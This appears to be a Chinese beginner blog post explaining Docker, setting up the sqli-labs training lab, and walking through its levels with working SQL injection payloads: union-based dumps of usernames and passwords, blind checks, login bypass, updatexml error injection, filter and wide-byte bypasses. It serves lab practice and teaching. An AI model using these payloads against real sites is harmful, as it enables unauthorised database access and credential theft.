概述
1.docker的解释和搭建
- docker英语译为码头工人,它是一个与虚拟机有异曲同工之妙的软件。是软件开发与测试的好帮手。在虚拟机中,我们需要自己寻找ISO文件搭建环境。而且搭建的系统可以是可视化的界面。而在docker的集成化中,它相当于把ISO文件,公布出来,供你挑选,你可以直接下载已经搭建好环境的系统,但docker不是可视化的,是基于Linux内核的,因此在使用docker之前,你需要了解一些linux的知识
你可以参考: 菜鸟教程 - 你还需要了解了解两个东西
镜像和容器 (images 和 containers)
前面说过,虚拟机的安装需要ISO文件,docker的心脏,则是images
二者的本质是一样的。你可以用一个ISO文件创建好多个虚拟机,而docker也可以用images创建很多的 容器 - 至此,如果你玩过虚拟机,那么你一定对docker也了解的差不多了。 接下来解释一下他的优点,我们可以把docker搭建的环境通过开放端口号直接映射到宿主机,减少很多内存资源的分配。
就相当于你用虚拟机是去实体店买东西,而docker则是在网上买东西。不能说孰优孰劣,只能说各有千秋。而且运维很喜欢docker。 - 接下来就是如何搭建docker,详情请参照此博主的文章
win10家庭版本搭建docker
搭建成功后就是这个样子
2.docker搭建好后注意事项
-
docker是基于linux的,因此如果你在windows上搭建,他的本质是在windows上先搭建一个linux,你的镜像是在这个linux上搭建的
docker-machine -ls
输入这个命令后,你会发现ip地址为是192.168.99.100,因此,当你在主机上输入127.0.0.1的时候是没有任何回显的
像这个样子(我当时这里卡了好半天,你们一定要记住)
- docker的命令行也可以在菜鸟教程中查询,这里就不一一列举了
3.sqli-labs环境搭建
- docker search sqli-labs
- docker pull xxx
- docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs
- docker exec xxx
- 注意docker run相当于你使用 ISO搭建了一台虚拟机,这台虚拟机会一直存在,我们可以用 docker ps查询。当你使用了docker stop关掉之后,他还是在的,你使用docker ps -a可查询,之后可以直接docker start,不需要多次使用docker run(我本人一开始就没有搞清)
- 其他命令行请自学
4.sqli-labs通关
-
首先,了解一下什么叫sqli注入
-
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
-
这里,你又需要一点mysql的基础。同上菜鸟教程去学
-
每关开始前我们先把sql语句输出 ,这样有利于我们的判断,了解漏洞在哪,从而进行攻击注入方法如下
-
因为docker是一个阉割的系统,所以没有vim,我们需要现在ubuntu环境下安装vim(先更新数据库,在下载)
- apt-get update
- apt-get install vim -
用vim编辑器打开php文件所在地方,命令为 vim var/www/html
-
找到每关对应的index.php.找到sql语句,添加 echo $sql; echo “”<br ;
可以在浏览器中下载hackbar,这样可能会方便点,否则,可能对新手不太好 -
首先是1-4关
-
在导入url 后面输入?id=1可以判断正确
-
输入?id=1’ 好的,他报错了,报错说明没有对我们的信息进行过滤,这样的话,他就肯定存在漏洞,我们可以注入。 通过sql语句发现 有单引号,我们将他后面的单引号用–+注释掉,让他原本的代码失效,写上我们想看的代码。
-
之后,用oder by 1,2,3一次次的往试
-
通过联合查询,一步步将其的内容,推算出来
-
?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata
?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=‘security’
?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’
?id=-1 union select 1,2, username from security.users
?id=-1 union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users
后面几关也无非是闭合的问题,他会把单引号换成括号,双引号,括号单引号,括号双引号,思想一样,我们只要记得,想方设法让代码报错,然后推算其包裹方式 -
5-10关
-
报错是最好看出来漏洞的,但是,当他不给你报错的时候,我们只能选择另一种方法,盲注。这几关,只有 you are in
-
http://localhost/Less-5/?id=1’ and left ((select database()),1)=‘s’ – 判断库是security
http://localhost/Less-5/?id=1’ and left ((select database()),2)=‘se’ –
burp和select ascii(substr((select database(),1,1))
http://localhost/Less-5/?id=1’ and length(database())=8– -
我们可以通过burp抓包的方式,抓取链接的数据,然后用burp进行暴力破解,猜测数据库。这样的效率就会快很多
-
11-16关
-
这几关开始 使用post参数
-
我们先用burp抓包,获得uname=admin&passwd=admin&submit=Submit
-
之后还是先让他报错。判断闭合方式,uname=ad”)or 1=1#&passwd=admin&submit=Submit
-
就可以成功
-
17
-
这里开始过滤攻击了,我们的单引号,会被转义,我们可以采用一些报错注入的方式,用updatexml函数,使我们想要得到的信息进行回显
-
uname=admin&passwd=ad1312’ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit
-
同样可以得到结果
-
18-22
-
这里是头部信息了,我们需要安装插件,如图所示
-
'and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e)) and ‘1’='1,使其闭合,报错注入。
-
23-28
-
这几关开始陆陆续续ban东西了,开始把我们的部分的恶意输入给过滤掉
-
一、单行注释还有一个;%00可以用
-
二、再加一个单引号进行闭合,像这样
-1’ union select 1,(select username from users where id=1),'3
-
and &&
-
or ||
-
注释符 ;%00
-
等等,我们都可以找到替代的
-
28-30
-
堆叠注入
-
waf中,会对一条进行过滤,(你过滤一条,我放两条)
-
31-37 宽字节注入
宽字节的注入漏洞
加入%df(想方设法让其报错)
%aa%5c
通过url(gbk)进行转码绕过他的限制 -
38-45
-
堆叠注入
-
多条SQL语句是可以一起执行的
-
46-54
-
就是把id’换成了sort,使用报错注入
-
54-65
-
初始思维,使用联合查询,一步一步获取
-
不同的是,他开始限制次数了,一般十次五次做不出来的。
?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘chellenges’–+
65NDY5I2KL
?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ZESKKN8CAB '–+
id,sessid,secret_M7AP,tryy
secret_TUSX
id=-1’union select 1,2,group_concat(secret_WUPZ) from challenges.iud4tqpywl–+
递归思想,从哪里能拿到东西,这个东西能放在哪里获取想要的东西,
输入方式是怎么包裹的,怎么绕过防护机制
如有错误,请指出,第一次写博客,请多担待
最后
以上就是冷酷柚子为你收集整理的docker原理和Sqli-labs的搭建和通关(适合新手观看)的全部内容,希望文章能够帮你解决docker原理和Sqli-labs的搭建和通关(适合新手观看)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复